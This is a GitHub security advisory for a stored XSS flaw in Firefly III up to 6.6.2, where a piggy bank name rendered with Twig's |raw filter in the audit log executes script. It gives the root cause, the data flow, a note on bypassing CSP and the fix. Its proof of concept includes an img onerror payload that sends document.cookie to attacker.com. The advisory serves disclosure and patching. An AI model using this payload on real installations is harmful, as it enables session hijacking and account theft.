GHSA-6JQ6-X4CX-QVCM
Vulnerability from github – Published: 2026-06-12 15:04 – Updated: 2026-06-12 15:04Summary
The Twig template resources/views/list/ale.twig renders the piggy bank name from AuditLogEntry.after.piggy using the |raw filter, bypassing Twig's auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction's audit log.
Root Cause
The |raw filter is required on the outer trans() call to preserve <span> tags in the amount parameter (currency styling). However, this also disables escaping for the user-controlled name parameter.
Vulnerable code (resources/views/list/ale.twig lines 107, 110):
{{ trans('firefly.ale_action_log_add', {
amount: formatAmountBySymbol(...),
name: logEntry.after.piggy
})|raw }}
No HTML sanitization at storage time — PiggyBankStoreRequest only validates min:1|max:255|uniquePiggyBankForUser.
Data Flow
POST /api/v1/piggy-banks {"name": "<img src=x onerror=...>"}
→ Stored verbatim in piggy_banks.name
→ Transaction rule fires add_to_piggy / remove_from_piggy
→ UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name
→ Any user views /transactions/show/{id}
→ ale.twig outputs unescaped payload → XSS fires
CSP Note
The nonce-based CSP (script-src 'nonce-...' 'strict-dynamic') does not prevent this attack. Inline event handlers (onerror, onload) in HTML attributes are governed by script-src-attr, which is unrestricted in the current policy. The <img onerror=...> payload bypasses the nonce requirement entirely.
PoC
- Authenticate as any user
POST /api/v1/piggy-bankswith"name": "<img src=x onerror=fetch('https://attacker.com?c='+document.cookie)>"- Create a rule: action = "Add money to piggy bank [attacker's piggy bank]"
- Trigger the rule on any transaction
- Visit
/transactions/show/{id}→ payload fires
Confirmed server response (v6.6.2):
Added <span class="text-success money-positive">EUR 50.00</span> to piggy bank
"<img src=x onerror=alert(document.cookie)>"
Impact
- Stored XSS persists in DB — fires for every user who views the transaction
- Cookie theft → session hijacking
- In multi-user setups: one user attacks another user or admin
- Chainable with CSRF-like operations
Fix
PR #12271 (merged into develop): add |e to escape only the user-controlled name parameter.
{{ trans('firefly.ale_action_log_add', {
amount: formatAmountBySymbol(...),
name: logEntry.after.piggy|e
})|raw }}
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.6.2"
},
"package": {
"ecosystem": "Packagist",
"name": "grumpydictator/firefly-iii"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.6.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-116",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-12T15:04:50Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\nThe Twig template `resources/views/list/ale.twig` renders the piggy bank name from `AuditLogEntry.after.piggy` using the `|raw` filter, bypassing Twig\u0027s auto-escaping. A piggy bank created with an HTML payload in its name executes arbitrary JavaScript in any browser viewing that transaction\u0027s audit log.\n\n## Root Cause\n\nThe `|raw` filter is required on the outer `trans()` call to preserve `\u003cspan\u003e` tags in the `amount` parameter (currency styling). However, this also disables escaping for the user-controlled `name` parameter.\n\n**Vulnerable code (`resources/views/list/ale.twig` lines 107, 110):**\n```twig\n{{ trans(\u0027firefly.ale_action_log_add\u0027, {\n amount: formatAmountBySymbol(...),\n name: logEntry.after.piggy\n})|raw }}\n```\n\nNo HTML sanitization at storage time \u2014 `PiggyBankStoreRequest` only validates `min:1|max:255|uniquePiggyBankForUser`.\n\n## Data Flow\n\n```\nPOST /api/v1/piggy-banks {\"name\": \"\u003cimg src=x onerror=...\u003e\"}\n \u2192 Stored verbatim in piggy_banks.name\n \u2192 Transaction rule fires add_to_piggy / remove_from_piggy\n \u2192 UpdatePiggyBank::handle() stores AuditLogEntry.after.piggy = raw name\n \u2192 Any user views /transactions/show/{id}\n \u2192 ale.twig outputs unescaped payload \u2192 XSS fires\n```\n\n## CSP Note\n\nThe nonce-based CSP (`script-src \u0027nonce-...\u0027 \u0027strict-dynamic\u0027`) does **not** prevent this attack. Inline event handlers (`onerror`, `onload`) in HTML attributes are governed by `script-src-attr`, which is unrestricted in the current policy. The `\u003cimg onerror=...\u003e` payload bypasses the nonce requirement entirely.\n\n## PoC\n\n1. Authenticate as any user\n2. `POST /api/v1/piggy-banks` with `\"name\": \"\u003cimg src=x onerror=fetch(\u0027https://attacker.com?c=\u0027+document.cookie)\u003e\"`\n3. Create a rule: action = \"Add money to piggy bank [attacker\u0027s piggy bank]\"\n4. Trigger the rule on any transaction\n5. Visit `/transactions/show/{id}` \u2192 payload fires\n\n**Confirmed server response (v6.6.2):**\n```html\nAdded \u003cspan class=\"text-success money-positive\"\u003eEUR 50.00\u003c/span\u003e to piggy bank\n\"\u003cimg src=x onerror=alert(document.cookie)\u003e\"\n```\n\n## Impact\n\n- Stored XSS persists in DB \u2014 fires for every user who views the transaction\n- Cookie theft \u2192 session hijacking\n- In multi-user setups: one user attacks another user or admin\n- Chainable with CSRF-like operations\n\n## Fix\n\nPR #12271 (merged into `develop`): add `|e` to escape only the user-controlled `name` parameter.\n\n```twig\n{{ trans(\u0027firefly.ale_action_log_add\u0027, {\n amount: formatAmountBySymbol(...),\n name: logEntry.after.piggy|e\n})|raw }}\n```",
"id": "GHSA-6jq6-x4cx-qvcm",
"modified": "2026-06-12T15:04:50Z",
"published": "2026-06-12T15:04:50Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/firefly-iii/firefly-iii/security/advisories/GHSA-6jq6-x4cx-qvcm"
},
{
"type": "WEB",
"url": "https://github.com/firefly-iii/firefly-iii/pull/12271"
},
{
"type": "PACKAGE",
"url": "https://github.com/firefly-iii/firefly-iii"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Firefly II has Stored XSS in Audit Log Entry view via piggy bank name (ale.twig)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.